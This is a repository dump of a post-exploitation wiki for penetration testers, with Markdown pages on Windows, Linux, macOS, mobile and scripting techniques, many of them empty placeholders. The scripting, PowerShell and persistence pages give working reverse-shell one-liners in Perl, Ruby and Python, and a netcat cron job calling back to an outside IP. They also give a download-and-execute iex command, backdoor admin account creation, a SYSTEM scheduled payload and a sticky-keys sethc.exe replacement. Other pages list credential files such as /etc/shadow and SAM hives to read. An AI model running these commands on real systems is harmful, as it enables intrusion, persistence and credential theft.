├── .gitignore ├── linux ├── bash.md ├── privesc.md ├── persistance.md ├── blind.md └── bulk.md ├── msf ├── exploit.md ├── post.md ├── railgun.md ├── tools.md ├── auxiliary.md └── meterpreter.md ├── osx ├── bash.md ├── blind.md ├── privesc.md ├── persistance.md └── bulk.md ├── otheros ├── zos.md ├── as400.md ├── cisco.md └── juniper.md ├── images ├── logo.jpg └── output.jpg ├── references └── rosetta.htm ├── mdwiki-0.5.8 ├── README.md ├── LICENSE.txt └── GPLv3.txt ├── scripting ├── NodeJS.md ├── perl.md ├── ruby.md └── python.md ├── windows ├── cmd.md ├── privesc.md ├── persistance.md ├── powershell.md ├── binary.md ├── blind.md ├── files.md ├── cover.md ├── find_files.md ├── mssql.md ├── uac.md ├── autostart.md ├── remote.md ├── windows_cmd_network.md └── windows_cmd_config.md ├── LICENSE ├── mobile ├── ios.md └── android.md ├── README.md ├── navigation.md ├── index.md └── links.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /linux/bash.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | Content coming. Feel free to submit ;-) 4 | -------------------------------------------------------------------------------- /msf/exploit.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | Content coming. Feel free to submit ;-) 4 | -------------------------------------------------------------------------------- /msf/post.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | Content coming. Feel free to submit ;-) 4 | -------------------------------------------------------------------------------- /msf/railgun.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | Content coming. Feel free to submit ;-) 4 | -------------------------------------------------------------------------------- /msf/tools.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | Content coming. Feel free to submit ;-) 4 | -------------------------------------------------------------------------------- /osx/bash.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | Content coming. Feel free to submit ;-) 4 | -------------------------------------------------------------------------------- /osx/blind.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | Content coming. Feel free to submit ;-) 4 | -------------------------------------------------------------------------------- /osx/privesc.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | Content coming. Feel free to submit ;-) 4 | -------------------------------------------------------------------------------- /otheros/zos.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | Content coming. Feel free to submit ;-) 4 | -------------------------------------------------------------------------------- /msf/auxiliary.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | Content coming. Feel free to submit ;-) 4 | -------------------------------------------------------------------------------- /otheros/as400.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | Content coming. Feel free to submit ;-) 4 | -------------------------------------------------------------------------------- /otheros/cisco.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | Content coming. Feel free to submit ;-) 4 | -------------------------------------------------------------------------------- /otheros/juniper.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | Content coming. Feel free to submit ;-) 4 | -------------------------------------------------------------------------------- /images/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mubix/post-exploitation-wiki/HEAD/images/logo.jpg -------------------------------------------------------------------------------- /images/output.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mubix/post-exploitation-wiki/HEAD/images/output.jpg -------------------------------------------------------------------------------- /references/rosetta.htm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mubix/post-exploitation-wiki/HEAD/references/rosetta.htm -------------------------------------------------------------------------------- /mdwiki-0.5.8/README.md: -------------------------------------------------------------------------------- 1 | MDwiki 2 | ====== 3 | 4 | See http://www.mdwiki.info/ for more documentation and details. 5 | -------------------------------------------------------------------------------- /osx/persistance.md: -------------------------------------------------------------------------------- 1 | # Tools 2 | ## EggShell 3 | 4 | 5 | #### Refer to: 6 | https://github.com/neoneggplant/EggShell 7 | -------------------------------------------------------------------------------- /msf/meterpreter.md: -------------------------------------------------------------------------------- 1 | # Meterpreter 2 | 3 | Just the commands built in to meterpreter, post modules and railgun are in their own sections. 4 | -------------------------------------------------------------------------------- /scripting/NodeJS.md: -------------------------------------------------------------------------------- 1 | # NodeJS Commands and Scripts for Post Exploitation 2 | 3 | 4 | **Start a web server that serves the local files on port 8080** 5 | ``` 6 | npm install -g http-server 7 | http-server 8 | ``` 9 | -------------------------------------------------------------------------------- /linux/privesc.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | ## 1 List Writeable Cron Directories 4 | ```ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null``` 5 | ### Credit 6 | http://www.securitysift.com/download/recon_scan.zip 7 | 8 | More content coming. Feel free to submit ;-) 9 | -------------------------------------------------------------------------------- /scripting/perl.md: -------------------------------------------------------------------------------- 1 | # Perl Commands and Scripts for Post Exploitation 2 | 3 | **Perl reverse shell from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)** 4 | 5 | ```perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'``` 6 | -------------------------------------------------------------------------------- /windows/cmd.md: -------------------------------------------------------------------------------- 1 | # Windows CMD Commands 2 | 3 | Command that can be executed from the context of the CMD.exe prompt. 4 | 5 | * [Config Commands](windows_cmd_config.md) - Commands that display information about the configuration of the victim. 6 | * [Network Commands](windows_cmd_network.md) - Commands used for gathering information about the network settings and connections of a system. 7 | * [Remote Acccess Commands](windows_cmd_remote.md) - Commands to remotely administer systems. 8 | 9 | -------------------------------------------------------------------------------- /scripting/ruby.md: -------------------------------------------------------------------------------- 1 | # Ruby Command and Scripts for Post Exploitation 2 | 3 | One liners 4 | ----------- 5 | 6 | **Start a web server that serves the local files from current directory on port 8001** 7 | 8 | ```ruby -run -e httpd -- -p 8001 .``` 9 | 10 | **Reverse /bin/sh shell on port 443 from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)** 11 | 12 | ```ruby -rsocket -e'f=TCPSocket.open("192.168.2.5",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'``` 13 | -------------------------------------------------------------------------------- /linux/persistance.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | ## Add a new cron job to the current user's crontab that will try to connect back to 192.168.100.100:50224 every 10 minutes: 4 | ```(crontab -u root -l; echo "*/10 * * * * nc 192.168.100.100 50224 -e /bin/bash") | crontab -u root -``` 5 | 6 | ## Add a new cron job to the current user's crontab that will try to open a bind port every 10 minutes on port 5555: 7 | ```(crontab -u root -l; echo "*/10 * * * * nc -lvp 5555 -e /bin/bash") | crontab -u root -``` 8 | 9 | Content coming. Feel free to submit ;-) 10 | -------------------------------------------------------------------------------- /windows/privesc.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | ## 1 Get Permissions On Service Executables 4 | - 1a. Generate list of executables 5 | ```for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> C:\windows\temp\msntemp.tmp``` 6 | - 1b. List Permissions - \Users:(I)(F) would be nice :) 7 | ```for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\msntemp.tmp) do cmd.exe /c icacls "%a"``` 8 | #### Credit 9 | https://www.linkedin.com/pub/ben-clark/8/116/644 10 | 11 | 12 | More content coming. Feel free to submit ;-) 13 | -------------------------------------------------------------------------------- /scripting/python.md: -------------------------------------------------------------------------------- 1 | # Python Command and Scripts for Post Exploitation 2 | 3 | One liners 4 | ----------- 5 | 6 | **Start a web server that serves the local files on port 8000, single threaded** 7 | ```python 8 | python -m SimpleHTTPServer 8000 9 | ``` 10 | 11 | **Python reverse shell from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)** 12 | 13 | ```python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'``` -------------------------------------------------------------------------------- /windows/persistance.md: -------------------------------------------------------------------------------- 1 | # Place Holder 2 | 3 | ## Add an Administrator 4 | ```net user adm adm1 /add``` 5 | ```net localgroup administrators adm /add``` 6 | 7 | ## Add a Limited User with RDP Access 8 | ```net user lowlevel lowlevel1 /add``` 9 | ```net localgroup "Remote Desktop USers" lowlevel /add``` 10 | 11 | ## Schedule a Bind or Reverse EXE Payload to Run 12 | ```schtasks /create /TN "WindowsTaskSys1" /TR "C:\Users\low\executable.exe" /sc MINUTE``` 13 | 14 | ## Scheduel a Bind or Reverse EXE Payload to Run as SYSTEM 15 | ```schtasks /create /TN "WindowsTaskSys1" /TR "C:\Users\low\executable.exe" /sc MINUTE /RU "SYSTEM"``` 16 | 17 | Content coming. Feel free to submit ;-) 18 | -------------------------------------------------------------------------------- /windows/powershell.md: -------------------------------------------------------------------------------- 1 | # Windows Powershell Commands and Scripts for Post Exploitation 2 | 3 | One liners 4 | ----------- 5 | 6 | **Download and Execute Remote Powershell Script** 7 | 8 | ```iex (New-Object Net.WebClient).DownloadString("http://host/file.txt")``` 9 | 10 | **Download and Save File** 11 | 12 | ```(new-object System.Net.WebClient).Downloadfile('http://host/file.exe', 'file.exe')``` 13 | 14 | **Enumerate Allowed Outbound Ports 1-1024** 15 | 16 | ```$ErrorActionPreference = "silentlycontinue"; 1..1024 | % {$req = [System.Net.WebRequest]::Create("http://letmeoutofyour.net:$_"); $req.Timeout = 600; $resp = $req.GetResponse(); $respstream = $resp.GetResponseStream(); 17 | $stream = new-object System.IO.StreamReader $respstream; $out = $stream.ReadToEnd(); if ($out.trim() -eq "w00tw00t"){echo "$_ Allowed out"}}``` 18 | 19 | **Reverse Shell Using [PowerSploit's Invoke-Shellcode](https://github.com/mattifestation/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1)** 20 | 21 | ```Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 -Lport 443 -Force``` -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2013 Rob Fuller 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /linux/blind.md: -------------------------------------------------------------------------------- 1 | 2 | # Linux Blind Files 3 | 4 | In some cases during exploitation you as an attacker gain the ability to read arbitrary files. As an attacker you need go-to files that cover as many different OS versions as possible in order to either confirm exploitation or gather intelligence on the exploited system. For this we use a "blind file". 5 | 6 | The files below are things to pull when all you can do is to blindly read. Examples of vulnerabilities or situations where this would be helpful might be: local file includes (LFI), directory traversals or remote file share instances like SMB, FTP, NFS or otherwise. 7 | 8 | | File | Description / Importance | 9 | | -------- | ------------------------ | 10 | | `/etc/issue` | A message or system identification to be printed before the login prompt. | 11 | | `/etc/motd` | Message of the day banner content. Can contain information about the system owners or use of the system. | 12 | | `/etc/passwd` | List of account names, groups, home directory, and shell (should be globally readable). | 13 | | `/etc/resolv.conf` | Contains the current name servers (DNS) for the system. This is a globally readable file that is less likely to trigger IDS alerts than `/etc/passwd`. | 14 | | `/etc/shadow` | List of all user's password hashes (requires root). | 15 | | `/home/[USERNAME]/.bash_history`
`~/.bash_history`
`/root/.bash_history` | Shell history for [USERNAME], the current user or root respectively. This file can contain passwords and other sensitive commands and content. | -------------------------------------------------------------------------------- /mobile/ios.md: -------------------------------------------------------------------------------- 1 | # Tools 2 | ### iRET 3 | 4 | iRET is a set of tools that allows you to automate many of the manual tasks an iOS penetration tester would need to perform in order to analyze and reverse engineer iOS applications. And the bonus is...this can all be performed right on the device. 5 | 6 | Refer to: 7 | - https://www.veracode.com/iret-ios-reverse-engineering-toolkit-veracode 8 | - https://n0where.net/ios-macos-remote-administration-tool-eggshell/ 9 | 10 | Download: 11 | - https://www.veracode.com/sites/default/files/Resources/Tools/iRETTool.zip 12 | 13 | ### Egg shell 14 | 15 | EggShell is an iOS and macOS post exploitation surveillance pentest tool written in Python. This tool creates 1 line multi stage payloads that give you a command line session with extra functionality. EggShell gives you the power and convenience of uploading/downloading files, taking pictures, location tracking, shell command execution, persistence, escalating privileges, password retrieval, and much more. Server communication features end to end encryption with 128 bit AES and the ability to handle multiple clients. This is a proof of concept pentest tool, intended for use on machines you own. 16 | 17 | Refer to: 18 | - https://github.com/neoneggplant/EggShell 19 | 20 | ### Bella 21 | 22 | Bella is a pure python post-exploitation data mining tool & remote administration tool for macOS. 23 | 24 | Refer to: 25 | - https://github.com/Trietptm-on-Security/Bella 26 | 27 | # Reference 28 | - http://www.blackhat.com/presentations/bh-usa-09/IOZZO/BHUSA09-Iozzo-iPhoneMeterpreter-SLIDES.pdf 29 | - http://www.securitylearn.net/2012/09/09/metasploit-post-exploitation-scripts-to-steal-ios-5-backups/ 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Post Exploitation Wiki 2 | ====================== 3 | 4 | This wiki is powered by MDwiki which is a self contained wiki in a single HTML file. 5 | 6 | All you have to do to use the wiki is clone the repo to anywhere you can open HTML, served or local. 7 | 8 | Contributors please see here: https://github.com/mubix/post-exploitation-wiki/wiki/Contributor-Wiki 9 | 10 | ### Live Online Copy: 11 | 12 | You can find a copy of the project online at: http://mubix.github.io/post-exploitation-wiki/. If you are reading this from the live website and want to get to the Github repository click here -> https://github.com/mubix/post-exploitation-wiki. 13 | 14 | ### Offline Use: 15 | 16 | 1. Clone the repository or pull the archive ([download zip](https://github.com/mubix/post-exploitation-wiki/archive/master.zip)) of the repo 17 | 2. Open index.html 18 | 3. Most modern browsers don't allow the access of local files from a locally loaded HTML file. On Windows you can use [Mongoose Tiny](http://cesanta.com/downloads.html) or [HFS](http://www.rejetto.com/hfs/) to host the files locally. On OSX and Linux `python -m SimpleHTTPServer` seems to work just fine. 19 | 20 | ### Reference Binaries: 21 | 22 | If the binary referenced isn't built into the respective OS, can be found here: 23 | https://github.com/mubix/post-exploitation 24 | 25 | #### Known issue with Chrome: 26 | 27 | Chrome doesn't allow local file access from local files loaded in the 28 | browser (ala index.html loading index.md). There are two ways around this. Use a web server to host 29 | it (Apache, nginx, python SimpleHTTPServer, etc) or start Chrome with the `--allow-file-access-from-files` 30 | argument. See here for more details: http://dynalon.github.io/mdwiki/#!faq.md 31 | 32 | 33 | ### More info about MDwiki: 34 | 35 | http://dynalon.github.io/mdwiki/#!index.md 36 | -------------------------------------------------------------------------------- /navigation.md: -------------------------------------------------------------------------------- 1 | # Post Exploitation Wiki 2 | 3 | [Home](index.md) 4 | 5 | [Windows]() 6 | 7 | * [Autostart Locations](windows/autostart.md) 8 | * [Binary Planting](windows/binary.md) 9 | * [CMD Commands](windows/cmd.md) 10 | * [Covering Tracks](windows/cover.md) 11 | * [Files - Blind](windows/blind.md) 12 | * [Files - Finding](windows/find_files.md) 13 | * [Files - Important](windows/files.md) 14 | * [Persistance](windows/persistance.md) 15 | * [Powershell](windows/powershell.md) 16 | * [Privilege Escalation](windows/privesc.md) 17 | * [Remote Access](windows/remote.md) 18 | * [UAC Bypassing](windows/uac.md) 19 | * [MSSQL Servers](windows/mssql.md) 20 | 21 | 22 | [Linux]() 23 | 24 | * [Google Doc Content](linux/bulk.md) 25 | * [Files - Blind](linux/blind.md) 26 | * [SH/BASH Commands](linux/bash.md) 27 | * [Persistance](linux/persistance.md) 28 | * [Privilege Escalation](linux/privesc.md) 29 | 30 | 31 | [OSX]() 32 | 33 | * [Google Doc Content](osx/bulk.md) 34 | * [Bash Commands](osx/bash.md) 35 | * [Files - Blind](osx/blind.md) 36 | * [Persistance](osx/persistance.md) 37 | * [Privilege Escalation](osx/privesc.md) 38 | 39 | [Mobile]() 40 | 41 | * [Android](mobile/android.md) 42 | * [iOS](mobile/ios.md) 43 | 44 | [Other OSs]() 45 | 46 | * [zOS](otheros/zos.md) 47 | * [AS/400](otheros/as400.md) 48 | * [Cisco](otheros/cisco.md) 49 | * [Juniper](otheros/juniper.md) 50 | 51 | [Scripting]() 52 | 53 | * [Python](scripting/python.md) 54 | * [Ruby](scripting/ruby.md) 55 | * [Perl](scripting/perl.md) 56 | 57 | [Metasploit]() 58 | 59 | * [Meterpreter](msf/meterpreter.md) 60 | * [Auxiliary Modules](msf/aux.md) 61 | * [Exploit Modules](msf/exploit.md) 62 | * [Post Modules](msf/post.md) 63 | * [Railgun](msf/railgun.md) 64 | * [MSF Tools](msf/tools.md) 65 | 66 | [References]() 67 | 68 | * [Unix Rosetta Stone](references/rosetta.htm) 69 | 70 | 71 | [Links](links.md) 72 | 73 | [gimmick:themechooser](Wiki Theme) 74 | -------------------------------------------------------------------------------- /windows/binary.md: -------------------------------------------------------------------------------- 1 | # Windows Binary Planting 2 | 3 | Binary Planting is essentially putting binary is a specific place, be it moved, copied or uploaded to create the desired effect. In this section we'll be going over the use of binary planting to escalate privileges. 4 | 5 | | Command | Description / Importance | 6 | | ------- | ------------------------ | 7 | | `%SystemRoot%\System32\wbem\mof\` | Taken from Stuxnet: http://blogs.iss.net/archive/papers/ibm-xforce-an-inside-look-at-stuxnet.pdf Look for Print spooler vulnerability. | 8 | | `echo $PATH` | Check the $PATH environmental variable. Some directories may be writable. See: https://www.htbridge.com/advisory/HTB23108 | 9 | | `msiexec.exe` | Idea taken from here: http://goo.gl/E3LTa - basically put evil binary named msiexec.exe in Downloads directory and when a installer calles msiexec without specifying path you get code execution. | 10 | | `sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys` | Create malicious services. | 11 | |Replacing file as: sethc.exe
@echo off
c: > nul\\cd\ > nul\\cd %SYSTEMROOT%\System32\ > nul
if exist %SYSTEMROOT%\System32\cmdsys\ rd /q %SYSTEMROOT%\System32\cmdsys\ > nul
cmd %SYSTEMROOT%\System32\cmdsys\ > nul
copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\cmd.bkp /y > nul
copy /y c:\windows\system32\sethc.exe c:\windows\system32\cmdsys\sethc.bkp /y > nul
copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\sethc.exe /y > nul
copy /y c:\windows\system32\cmdsys\sethc.exe c:\windows\system32\sethc.exe /y > nul
exit | By doing this, you just have to press the sticky key activation key. From Wikipedia.org: To enable this shortcut, the ?Shift key must be pressed 5 times in short succession. This feature can also be turned on and off via the Accessibility icon in the Windows Control Panel. To turn off once enabled, just simply press 3 or more of the Sticky Keys (Ctrl, Alt, Shift, Windows Button) at the same time. | -------------------------------------------------------------------------------- /index.md: -------------------------------------------------------------------------------- 1 | ![](images/logo.jpg) 2 | 3 | [Image Generated Here](http://www.addletters.com/pictures/restaurant-sign-generator/4729076.htm#.Um8oRyQeLuN) 4 | 5 | ### PostExploitation.com is a collection TTPs (tools, tactics, and procedures) for what to do after access has been gained. 6 | 7 | - - - - - - 8 | 9 | ### Live Online Copy: 10 | 11 | You can find a copy of the project online at: http://mubix.github.io/post-exploitation-wiki/ 12 | 13 | ### Offline Use: 14 | 15 | 1. Clone the repository or pull the archive ([download zip](https://github.com/mubix/post-exploitation-wiki/archive/master.zip)) of the repo 16 | 2. Open index.html 17 | 3. Most modern browsers don't allow the access of local files from a locally loaded HTML file. On Windows you can use [Mongoose Tiny](http://cesanta.com/downloads.html) or [HFS](http://www.rejetto.com/hfs/) to host the files locally. On OSX and Linux `python -m SimpleHTTPServer` seems to work just fine. 18 | 19 | #### Referenced tools can be found here: https://github.com/mubix/post-exploitation (If they aren't built into the OS) 20 | 21 | - - - - - - 22 | #### Submitting Content 23 | 24 | We realize that everyone has their favorite commands they run. Is your go-to content not up here? Want to submit it? Either submit a pull request or if you don't want to spend the time becoming a Git Jedi, just visit our [Google Form](https://docs.google.com/forms/d/1N7-jRjnUXoz-UwB2h0du2IrskFJW6hBGs4YsTwvEncE/viewform). Thanks! 25 | 26 | - - - - - - 27 | Curators: 28 | 29 | * [@mubix](https://twitter.com/mubix) [gimmick:TwitterFollow](@mubix) 30 | * [@WebBreacher](https://twitter.com/webbreacher) [gimmick:TwitterFollow](@WebBreacher) 31 | * [@tekwizz123](https://twitter.com/tekwizz123) [gimmick:TwitterFollow](@tekwizz123) 32 | * [@jakx_](https://twitter.com/jakx_) [gimmick:TwitterFollow](@jakx_) 33 | 34 | If you would like to become a curator, please contact [mubix@hak5.org](mailto:mubix@hak5.org) 35 | 36 | [gimmick:ForkMeOnGitHub ({ color: 'red', position: 'right' })](http://www.github.com/mubix/post-exploitation-wiki/) 37 | -------------------------------------------------------------------------------- /links.md: -------------------------------------------------------------------------------- 1 | # Links 2 | 3 | Hardware 4 | --------- 5 | 6 | | Link | Description | Cost | 7 | |------|-------------|------| 8 | | [Raspberry Pi](http://www.raspberrypi.org/) | Small board, and low cost, there is a Kali Linux that is designed to run on it, but pretty slow processor | $25 | 9 | | [PwnPlug/Pad/etc](http://pwnieexpress.com/collections/premium-pentesting-products) | Plug is a based off a Sheeva plug with an attack distro (ubuntu based) installed on it. Looks a lot like a wall wart. | $995| 10 | | [BeagleBoard Black](http://beagleboard.org/Products/BeagleBone%20Black) | Description Needed | $45 | 11 | | [Hak5 Rubber Ducky](http://hakshop.myshopify.com/collections/usb-rubber-ducky) | A USB stick that acts as a keyboard, types out payloads quickly and automatically. | $36 | 12 | | [Hak5 Wifi Pineapple](http://hakshop.myshopify.com/collections/wifi-pineapple) | Wireless attack router | $99 | 13 | | [Odroid X2](http://en.wikipedia.org/wiki/Odroid) | More RAM than the Pi (2GB) | $135 | 14 | | [Udoo](http://www.udoo.org/)| Comparable with the Odroid X2 / Pwn Plug and Raspbery Pi | $100 | 15 | | [GoodFet/Facedancer](http://goodfet.sourceforge.net/) | A open source JTAG adapter "loosely based upon the TI MSP430 FET UIF and EZ430U boards". The Facedancer board allows you to emulate USB devices so that one host can manipulate the USB devices or services of a second host. The Goodfet boards are an earlier edition of the Facedancer boards but are more general purpose, supporting JTAG and, with recent additions, USB to become a universal serial bus. | $70 [Facedancer21](http://int3.cc/collections/frontpage/products/facedancer21)
$50 [GoodFET42](https://www.adafruit.com/product/1279) | 16 | 17 | Software 18 | --------- 19 | 20 | 21 | Web Apps 22 | --------- 23 | 24 | 25 | Code Repos 26 | --------- 27 | 28 | | Link | Description | 29 | |------|-------------| 30 | | [Panoptic](https://github.com/lightos/Panoptic) | Finds exploitable paths for LFI and RFI | 31 | | [Daniel Miessler's SecLists Repo](https://github.com/danielmiessler/SecLists) | Solid repository of word lists for every occasion | 32 | -------------------------------------------------------------------------------- /windows/blind.md: -------------------------------------------------------------------------------- 1 | 2 | # Windows Blind Files 3 | 4 | In some cases during exploitation you as an attacker gain the ability to read arbitrary files. As an attacker you need go-to files that cover as many different OS versions as possible in order to either confirm exploitation or gather intelligence on the exploited system. For this we use a "blind file". 5 | 6 | The files below are things to pull when all you can do is to blindly read. Examples of vulnerabilities or situations where this would be helpful might be: local file includes (LFI), directory traversals or remote file share instances like SMB, FTP, NFS or otherwise. Files that will have the same name across networks, Windows domains, and systems are noted below. 7 | 8 | | File | Description / Importance | 9 | | -------- | ------------------------ | 10 | | `%SYSTEMDRIVE%\boot.ini` | A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening. **WARNING - in more recent versions of Windows this file in no longer there.** | 11 | | `%WINDIR%\win.ini` | This is another file that can be counted on to be readable by all users of a system. | 12 | | `%SYSTEMROOT%\repair\SAM`
`%SYSTEMROOT%\System32\config\RegBack\SAM` | Stores user passwords in either an [LM hash](https://en.wikipedia.org/wiki/LM_hash) and/or an [NTLM hash](https://en.wikipedia.org/wiki/NTLM) format. The SAM file in \repair is locked, but can be retrieved using forensic or [Volume Shadow copy methods](http://www.room362.com/blog/2013/6/10/volume-shadow-copy-ntdsdit-domain-hashes-remotely-part1.html). | 13 | | `%SYSTEMROOT%\repair\system`
`%SYSTEMROOT%\System32\config\RegBack\system` | This is the SYSTEM registry hive. This file is needed to extract the user account password hashes from a Windows system. The SYSTEM file in \repair is locked, but can be retrieved using forensic or [Volume Shadow copy methods](http://www.room362.com/blog/2013/6/10/volume-shadow-copy-ntdsdit-domain-hashes-remotely-part1.html). | 14 | | `%SYSTEMDRIVE%\autoexec.bat` | autoexec.bat is a startup script that executes at startup. As [Webopedia states](http://www.webopedia.com/TERM/A/autoexec_bat.html), “Stands for automatically executed batch file, the file that DOS automatically executes when a computer boots up. This is a convenient place to put commands you always want to execute at the beginning of a computing session. For example, you can set system parameters such as the date and time, and install memory-resident programs.” | 15 | -------------------------------------------------------------------------------- /mdwiki-0.5.8/LICENSE.txt: -------------------------------------------------------------------------------- 1 | MDwiki is licensed under the terms of the GNU GPLv3 with additional terms and 2 | linking exceptions. The GPLv3 license text can be found in the GPLv3.txt file, the 3 | additional terms are given below this paragraph. 4 | 5 | Linking exceptions 6 | ------------------ 7 | 8 | In addition to the terms in the GPLv3 the following linking exceptions apply: 9 | 10 | The authors of this work grant the rights to dynamically link against the below 11 | listed external sources or binaries during runtime, as an exception to the terms of 12 | the GNU GPLv3, under the terms that none of that linked code shall be deemed part of 13 | this work, or a derivative work of this work, and as such are not required to meet 14 | the license terms of the GPLv3 and as such are not covered by the terms of the GPLv3 15 | when conveying this work. 16 | 17 | The full and exhaustive list of those sources excepted from the GPLv3 are: 18 | 19 | * The Google Maps API v3 located at: http://maps.google.com/maps/api/js 20 | * The twitter "follow button" widget located at http://platform.twitter.com/widgets.js 21 | * The GitHub Gist API located at http://gist.github.com/{id}.js. This applies only to 22 | the javascript coded issues by GitHub Inc. and explicitly does not apply to the 23 | content of any GitHub gist. 24 | * The disqus API located at http://.disqus.com/embed.js where is the 25 | userid of the forum. 26 | 27 | 28 | Additional terms to GPLv3 29 | ------------------------- 30 | 31 | In compliance with section 7 of the GNU GPLv3 the following additional terms apply: 32 | 33 | a) The contained and displayed copyright attribution footer notice may not be removed, 34 | modified, altered or styled, or being removed, modified, altered or styled by 35 | external software (scripts, stylesheets, filters) in a way that would considerably 36 | affect visibility or readability of the notice to the user or any third party that 37 | uses the software locally or over the network; this especially includes resizing, 38 | overlaying, hiding or similar techniques. 39 | 40 | b) You may adjust or style the copyright footer to suit the appearance or layout of 41 | your website, as long as this does not violate the terms given in section (a) 42 | 43 | c) Attribution hyperlinks in the footer have to be kept unaltered. 44 | 45 | d) You may add your name to the list of copyright holder(s) in the footer if you make 46 | changes to the work, keeping intact all other copyright holder names 47 | 48 | e) Changes to these terms require written permission by the copyright holder(s). 49 | -------------------------------------------------------------------------------- /windows/files.md: -------------------------------------------------------------------------------- 1 | # Windows Important Files 2 | 3 | Files that can yield passwords or other intel about the system, network or users. 4 | 5 | | File | Description / Importance | 6 | | -------- | ------------------------ | 7 | | `%SYSTEMDRIVE%\pagefile.sys` | This file is used by the operating system when there is not enough RAM (memory) in the system. It is a large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size. | 8 | | `%SYSTEMROOT%\repair\SAM`
`%SYSTEMROOT%\System32\config\RegBack\SAM` | These files store the LM and NTLM hashes for local users. Using [Volume Shadow Copy](http://www.room362.com/blog/2013/6/10/volume-shadow-copy-ntdsdit-domain-hashes-remotely-part1.html) or [Ninja Copy](http://clymb3r.wordpress.com/2013/06/13/using-powershell-to-copy-ntds-dit-registry-hives-bypass-sacls-dacls-file-locks/) you can retrieve these files. | 9 | | `%SystemDrive%\inetpub\logs\LogFiles` | IIS 7.x web server log file location. | 10 | | `%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat` | Internet Explorer web browser history file (http://support.microsoft.com/kb/322916) | 11 | | `%USERPROFILE%\ntuser.dat` | User-level Windows registry settings (http://technet.microsoft.com/en-us/library/cc758618(v=WS.10).aspx) | 12 | | `%WINDIR%\System32\drivers\etc\hosts` | System hosts file for local translation of host names to IP addresses. | 13 | | `%WINDIR%\debug\NetSetup.log` | Shows issues when computers are joined to a domain. http://technet.microsoft.com/en-us/library/cc961817.aspx | 14 | | `%WINDIR%\iis[version].log` where [version] = 6, 7, or 8 | Internet Information Service (IIS web server) log files. | 15 | | `%WINDIR%\repair\sam`
`%WINDIR%\repair\system`
`%WINDIR%\repair\software`
`%WINDIR%\repair\security` | System registry hives. https://en.wikipedia.org/wiki/Windows_Registry | 16 | | `%WINDIR%\system32\CCM\logs\*.log` | Windows SCCM (System Center Configuration Manager) log files (http://technet.microsoft.com/en-us/library/bb892800.aspx) | 17 | | `%WINDIR%\system32\config\AppEvent.Evt`
